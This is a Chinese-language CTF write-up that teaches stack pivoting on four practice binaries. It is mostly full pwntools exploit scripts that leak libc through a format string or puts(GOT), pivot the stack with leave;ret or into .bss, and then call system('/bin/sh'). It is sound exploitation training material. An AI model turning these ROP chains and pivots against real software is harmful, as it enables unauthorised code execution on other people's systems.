栈迁移主要应用于我们所构造的payload字节数过多,导致程序无法完全读入栈中达到我们想要的效果。先通过一篇文章学习一下栈迁移的基础知识。
pwn1:64位泄露地址
ida查看
审计代码发现程序存在两次读入数据,且第一次读入数据是存在格式化字符串漏洞的,两次可读入的字节都非常少,我们需要利用栈迁移来完成。基本思路是利用格式化字符串打印出buf的地址,根据v2与buf的偏移计算出v2读入的起始地址,利用栈迁移读入数据。
from pwn import*
context(os='linux', arch='i386', log_level='debug')
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x0000000000401333
leave=0x4012AA
gdb.attach(p)
p.send(b'aaaaaaaa')
p.recvuntil('0x')
v2=int(p.recv(12),16)+8
print(hex(v2))
p.interactive()
我们已经有了v2的起始地址,即第二次读入数据的起始地址,那么我们在第二次读入数据就有0x60个字节,是绝对够用的。我们直接传入数据利用leave ret从v2起始地址开始执行payload即可。利用第二次读入泄露libc地址。
from pwn import*
context(os='linux', arch='i386', log_level='debug')
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x0000000000401333
leave=0x4012AA
gdb.attach(p)
p.send(b'aaaaaaaa')
p.recvuntil('0x')
v2=int(p.recv(12),16)+8
print(hex(v2))
pause()
p.recvuntil('more infomation plz:')
payload=(b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(0x4011fb)).ljust(0x50,b'\x00')+p64(v2)+p64(leave)
p.send(payload)
read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
p.interactive()
接下来第二次运行程序构造system(/bin/sh),再次利用栈迁移执行,需要注意我们依旧需要通过第一次读入数据泄露地址,通过gdb调试可以看到,buf的地址在第二次运行时是改变了的。这里就不在过多解释了,gdb调试即可。
from pwn import*
context(os='linux', arch='i386', log_level='debug')
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x0000000000401333
leave=0x4012AA
p.send(b'aaaaaaaa')
p.recvuntil('0x')
v2=int(p.recv(12),16)+8
print(hex(v2))
p.recvuntil('more infomation plz:')
payload=(b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(0x4011fb)).ljust(0x50,b'\x00')+p64(v2)+p64(leave)
p.send(payload)
read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
p.recvuntil('your name:')
p.send(b'aaaaaaaa')
p.recvuntil('0x')
v3=int(p.recv(12),16)+8
print(hex(v3))
p.recvuntil('more infomation plz:')
payload=(b'a'*8+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)).ljust(0x50,b'\x00')+p64(v3)+p64(leave)
p.send(payload)
p.interactive()
pwn2:32位泄露地址
和pwn1做法基本相同,第一次读入是可以刚好读到ebp的位置的,我们利用格式化字符串可以把ebp的地址给泄露出来,根据偏移计算出s读入的起始地址进行栈迁移。
可以看到我们打印出来的地址并不是ebp的栈地址,而是ebp指向的地址 ,我们需要计算。
第二次就可以利用栈迁移了
from pwn import*
context.log_level='debug'
p=process('./pwn2')
elf=ELF('./pwn2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil('your name?')
payload=b'a'*(0x27)+b'b'
p.send(payload)
p.recvuntil('b')
a=u32(p.recv(4))-0x10-0x28
print(hex(a))
system=0x8048400
payload=(b'a'*4+p32(system)+p32(0)+p32(a+16)+b'/bin/sh\x00').ljust(0x28)+p32(a)+p32(0x08048562)
p.send(payload)
p.interactive()
pwn3:栈迁移至bss段
依旧是存在两次读入,但第一次读入是把数据存在了bss段,是没有执行的,所以我们可以利用第二次读入时将栈迁往bss段从而执行我们第一次构造的payload。
from pwn import*
context.log_level='debug'
p=process('./bss')
elf=ELF('./bss')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012a3
leave=0x40120E
bss=0x406060
vuln=0x4011bd
p.recvuntil('hello')
payload=b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(vuln)
p.send(payload)
p.recvuntil('say?')
pay=b'a'*(0x60)+p64(bss)+p64(leave)
p.send(pay)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
p.interactive()
我们成功把栈迁往了bss段并泄露出libc地址
接下来就是简单的栈迁移了,但是第二次栈迁移的位置并非我们所想的与第一次一样,通过gdb调试我们发现第二次读入的位置时是发生了变化的。
完整exp:
from pwn import*
context.log_level='debug'
p=process('./bss')
elf=ELF('./bss')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012a3
leave=0x40120E
bss=0x406060
vuln=0x4011bd
p.recvuntil('hello')
payload=b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(vuln)
p.send(payload)
p.recvuntil('say?')
pay=b'a'*(0x60)+p64(bss)+p64(leave)
p.send(pay)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
p.recvuntil('hello')
payload=b'a'*8+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
#gdb.attach(p)
p.send(payload)
buf=0x406020
p.recvuntil('say?')
pay=(b'a'*8+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)).ljust(0x60,b'\x00')+p64(buf)+p64(leave)
p.send(pay)
p.interactive()
pwn4:只有一次读入
只有一个readr,没有格式化字符串,无法泄露地址,因此还是需要把栈迁往bss段。需要利用read函数
看read的汇编我们可以发现read的读入位置我们是可以修改的,即rbp+buf
from pwn import*
context.log_level='debug'
p=process('./vuln')
elf=ELF('./vuln')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012b3
leave=0x0000000000401227
bss=0x404020+0x500
vuln=0x4011db
p.recvuntil('just chat with me:')
read=0x00000000004011FF
rbp=0x000000000040115d
pay=b'a'*0x50+p64(bss+0x50)+p64(read)
#gdb.attach(p)
p.send(pay)
p.interactive()
这里我们成功将read的读入位置修改到bss段
接下来构造payload泄露libc地址
payload=(b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x50+0x500)+p64(read)).ljust(0x50,b'\x00')+p64(bss)+p64(leave)
p.send(payload)
这里依旧是需要再次调用read函数修改下次读入的起始地址,泄露libc地址构造下一次payload即可。
完整exp:
from pwn import*
context.log_level='debug'
p=process('./pwn4')
elf=ELF('./pwn4')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012b3
leave=0x0000000000401227
bss=0x404020+0x500
vuln=0x4011db
p.recvuntil('just chat with me:')
read=0x00000000004011FF
rbp=0x000000000040115d
pay=b'a'*0x50+p64(bss+0x50)+p64(read)
gdb.attach(p)
p.send(pay)
payload=(b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x50+0x500)+p64(read)).ljust(0x50,b'\x00')+p64(bss)+p64(leave)
p.send(payload)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
pay=(b'a'*8+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)).ljust(0x50,b'\x00')+p64(bss+0x500)+p64(leave)
p.send(pay)
p.interactive()
栈迁移知识非常重要,其难度也挺高,需要我们不停的进行gdb调试观察,但是一旦理解了就非常容易了。